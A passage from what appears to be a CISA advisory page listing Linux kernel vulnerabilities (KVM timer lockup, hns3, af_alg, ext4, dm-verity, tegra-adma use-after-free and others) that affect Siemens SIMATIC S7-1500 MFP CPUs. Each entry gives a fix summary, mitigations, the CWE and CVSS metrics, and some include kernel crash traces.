<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.2</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71104</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: KVM: x86: Fix VM hard lockup after prolonged inactivity with periodic HV timer When advancing the target expiration for the guest's APIC timer in periodic mode, set the expiration to "now" if the target expiration is in the past (similar to what is done in update_target_expiration()). Blindly adding the period to the previous target expiration can result in KVM generating a practically unbounded number of hrtimer IRQs due to programming an expired timer over and over. In extreme scenarios, e.g. if userspace pauses/suspends a VM for an extended duration, this can even cause hard lockups in the host. Currently, the bug only affects Intel CPUs when using the hypervisor timer (HV timer), a.k.a. the VMX preemption timer. Unlike the software timer, a.k.a. hrtimer, which KVM keeps running even on exits to userspace, the HV timer only runs while the guest is active. As a result, if the vCPU does not run for an extended duration, there will be a huge gap between the target expiration and the current time the vCPU resumes running. Because the target expiration is incremented by only one period on each timer expiration, this leads to a series of timer expirations occurring rapidly after the vCPU/VM resumes. More critically, when the vCPU first triggers a periodic HV timer expiration after resuming, advancing the expiration by only one period will result in a target expiration in the past. As a result, the delta may be calculated as a negative value. When the delta is converted into an absolute value (tscdeadline is an unsigned u64), the resulting value can overflow what the HV timer is capable of programming. I.e. the large value will exceed the VMX Preemption Timer's maximum bit width of cpu_preemption_timer_multi + 32, and thus cause KVM to switch from the HV timer to the software timer (hrtimers). After switching to the software timer, periodic timer expiration callbacks may be executed consecutively within a single clock interrupt handler, because hrtimers honors KVM's request for an expiration in the past and immediately re-invokes KVM's callback after reprogramming. And because the interrupt handler runs with IRQs disabled, restarting KVM's hrtimer over and over until the target expiration is advanced to "now" can result in a hard lockup. E.g. the following hard lockup was triggered in the host when running a Windows VM (only relevant because it used the APIC timer in periodic mode) after resuming the VM from a long suspend (in the host). NMI watchdog: Watchdog detected hard LOCKUP on cpu 45 ... RIP: 0010:advance_periodic_target_expiration+0x4d/0x80 [kvm] ... RSP: 0018:ff4f88f5d98d8ef0 EFLAGS: 00000046 RAX: fff0103f91be678e RBX: fff0103f91be678e RCX: 00843a7d9e127bcc RDX: 0000000000000002 RSI: 0052ca4003697505 RDI: ff440d5bfbdbd500 RBP: ff440d5956f99200 R08: ff2ff2a42deb6a84 R09: 000000000002a6c0 R10: 0122d794016332b3 R11: 0000000000000000 R12: ff440db1af39cfc0 R13: ff440db1af39cfc0 R14: ffffffffc0d4a560 R15: ff440db1af39d0f8 FS: 00007f04a6ffd700(0000) GS:ff440db1af380000(0000) knlGS:000000e38a3b8000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000d5651feff8 CR3: 000000684e038002 CR4: 0000000000773ee0 PKRU: 55555554 Call Trace: apic_timer_fn+0x31/0x50 [kvm] __hrtimer_run_queues+0x100/0x280 hrtimer_interrupt+0x100/0x210 ? ttwu_do_wakeup+0x19/0x160 smp_apic_timer_interrupt+0x6a/0x130 apic_timer_interrupt+0xf/0x20 Moreover, if the suspend duration of the virtual machine is not long enough to trigger a hard lockup in this scenario, since commit 98c25ead5eda ("KVM: VMX: Move preemption timer &lt;=&gt; hrtimer dance to common x86"), KVM will continue using the software timer until the guest reprograms the APIC timer in some way. Since the periodic timer does not require frequent APIC timer register programming, the guest may continue to use the software timer in ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71104">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/681.html">CWE-681 Incorrect Conversion between Numeric Types</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71112</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: hns3: add VLAN id validation before using Currently, the VLAN id may be used without validation when receive a VLAN configuration mailbox from VF. The length of vlan_del_fail_bmap is BITS_TO_LONGS(VLAN_N_VID). It may cause out-of-bounds memory access once the VLAN id is bigger than or equal to VLAN_N_VID. Therefore, VLAN id needs to be checked to ensure it is within the range of VLAN_N_VID.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71112">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71113</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: af_alg - zero initialize memory allocated via sock_kmalloc Several crypto user API contexts and requests allocated with sock_kmalloc() were left uninitialized, relying on callers to set fields explicitly. This resulted in the use of uninitialized data in certain error paths or when new fields are added in the future. The ACVP patches also contain two user-space interface files: algif_kpp.c and algif_akcipher.c. These too rely on proper initialization of their context structures. A particular issue has been observed with the newly added 'inflight' variable introduced in af_alg_ctx by commit: 67b164a871af ("crypto: af_alg - Disallow multiple in-flight AIO requests") Because the context is not memset to zero after allocation, the inflight variable has contained garbage values. As a result, af_alg_alloc_areq() has incorrectly returned -EBUSY randomly when the garbage value was interpreted as true: https://github.com/gregkh/linux/blame/master/crypto/af_alg.c#L1209 The check directly tests ctx-&gt;inflight without explicitly comparing against true/false. Since inflight is only ever set to true or false later, an uninitialized value has triggered -EBUSY failures. Zero-initializing memory allocated with sock_kmalloc() ensures inflight and other fields start in a known state, removing random issues caused by uninitialized data.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71113">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71114</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: via_wdt: fix critical boot hang due to unnamed resource allocation The VIA watchdog driver uses allocate_resource() to reserve a MMIO region for the watchdog control register. However, the allocated resource was not given a name, which causes the kernel resource tree to contain an entry marked as "" under /proc/iomem on x86 platforms. During boot, this unnamed resource can lead to a critical hang because subsequent resource lookups and conflict checks fail to handle the invalid entry properly.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71114">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71120</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: SUNRPC: svcauth_gss: avoid NULL deref on zero length gss_token in gss_read_proxy_verf A zero length gss_token results in pages == 0 and in_token-&gt;pages[0] is NULL. The code unconditionally evaluates page_address(in_token-&gt;pages[0]) for the initial memcpy, which can dereference NULL even when the copy length is 0. Guard the first memcpy so it only runs when length &gt; 0.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71120">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71123</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: fix string copying in parse_apply_sb_mount_options() strscpy_pad() can't be used to copy a non-NUL-term string into a NUL-term string of possibly bigger size. Commit 0efc5990bca5 ("string.h: Introduce memtostr() and memtostr_pad()") provides additional information in that regard. So if this happens, the following warning is observed: strnlen: detected buffer overflow: 65 byte read of buffer size 64 WARNING: CPU: 0 PID: 28655 at lib/string_helpers.c:1032 __fortify_report+0x96/0xc0 lib/string_helpers.c:1032 Modules linked in: CPU: 0 UID: 0 PID: 28655 Comm: syz-executor.3 Not tainted 6.12.54-syzkaller-00144-g5f0270f1ba00 #0 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 RIP: 0010:__fortify_report+0x96/0xc0 lib/string_helpers.c:1032 Call Trace: __fortify_panic+0x1f/0x30 lib/string_helpers.c:1039 strnlen include/linux/fortify-string.h:235 [inline] sized_strscpy include/linux/fortify-string.h:309 [inline] parse_apply_sb_mount_options fs/ext4/super.c:2504 [inline] __ext4_fill_super fs/ext4/super.c:5261 [inline] ext4_fill_super+0x3c35/0xad00 fs/ext4/super.c:5706 get_tree_bdev_flags+0x387/0x620 fs/super.c:1636 vfs_get_tree+0x93/0x380 fs/super.c:1814 do_new_mount fs/namespace.c:3553 [inline] path_mount+0x6ae/0x1f70 fs/namespace.c:3880 do_mount fs/namespace.c:3893 [inline] __do_sys_mount fs/namespace.c:4103 [inline] __se_sys_mount fs/namespace.c:4080 [inline] __x64_sys_mount+0x280/0x300 fs/namespace.c:4080 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0x64/0x140 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x76/0x7e Since userspace is expected to provide s_mount_opts field to be at most 63 characters long with the ending byte being NUL-term, use a 64-byte buffer which matches the size of s_mount_opts, so that strscpy_pad() does its job properly. Return with error if the user still managed to provide a non-NUL-term string here. Found by Linux Verification Center (linuxtesting.org) with Syzkaller.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71123">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71131</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: seqiv - Do not use req-&gt;iv after crypto_aead_encrypt As soon as crypto_aead_encrypt is called, the underlying request may be freed by an asynchronous completion. Thus dereferencing req-&gt;iv after it returns is invalid. Instead of checking req-&gt;iv against info, create a new variable unaligned_info and use it for that purpose instead.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71131">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71161</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dm-verity: disable recursive forward error correction There are two problems with the recursive correction: 1. It may cause denial-of-service. In fec_read_bufs, there is a loop that has 253 iterations. For each iteration, we may call verity_hash_for_block recursively. There is a limit of 4 nested recursions - that means that there may be at most 253^4 (4 billion) iterations. Red Hat QE team actually created an image that pushes dm-verity to this limit - and this image just makes the udev-worker process get stuck in the 'D' state. 2. It doesn't work. In fec_read_bufs we store data into the variable "fio-&gt;bufs", but fio bufs is shared between recursive invocations, if "verity_hash_for_block" invoked correction recursively, it would overwrite partially filled fio-&gt;bufs.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71161">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/835.html">CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71162</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dmaengine: tegra-adma: Fix use-after-free A use-after-free bug exists in the Tegra ADMA driver when audio streams are terminated, particularly during XRUN conditions. The issue occurs when the DMA buffer is freed by tegra_adma_terminate_all() before the vchan completion tasklet finishes accessing it. The race condition follows this sequence: 1. DMA transfer completes, triggering an interrupt that schedules the completion tasklet (tasklet has not executed yet) 2. Audio playback stops, calling tegra_adma_terminate_all() which frees the DMA buffer memory via kfree() 3. The scheduled tasklet finally executes, calling vchan_complete() which attempts to access the already-freed memory Since tasklets can execute at any time after being scheduled, there is no guarantee that the buffer will remain valid when vchan_complete() runs. Fix this by properly synchronizing the virtual channel completion: - Calling vchan_terminate_vdesc() in tegra_adma_stop() to mark the descriptors as terminated instead of freeing the descriptor. - Add the callback tegra_adma_synchronize() that calls vchan_synchronize() which kills any pending tasklets and frees any terminated descriptors. Crash logs: [ 337.427523] BUG: KASAN: use-after-free in vchan_complete+0x124/0x3b0 [ 337.427544] Read of size 8 at addr ffff000132055428 by task swapper/0/0 [ 337.427562] Call trace: [ 337.427564] dump_backtrace+0x0/0x320 [ 337.427571] show_stack+0x20/0x30 [ 337.427575] dump_stack_lvl+0x68/0x84 [ 337.427584] print_address_description.constprop.0+0x74/0x2b8 [ 337.427590] kasan_report+0x1f4/0x210 [ 337.427598] __asan_load8+0xa0/0xd0 [ 337.427603] vchan_complete+0x124/0x3b0 [ 337.427609] tasklet_action_common.constprop.0+0x190/0x1d0 [ 337.427617] tasklet_action+0x30/0x40 [ 337.427623] __do_softirq+0x1a0/0x5c4 [ 337.427628] irq_exit+0x110/0x140 [ 337.427633] 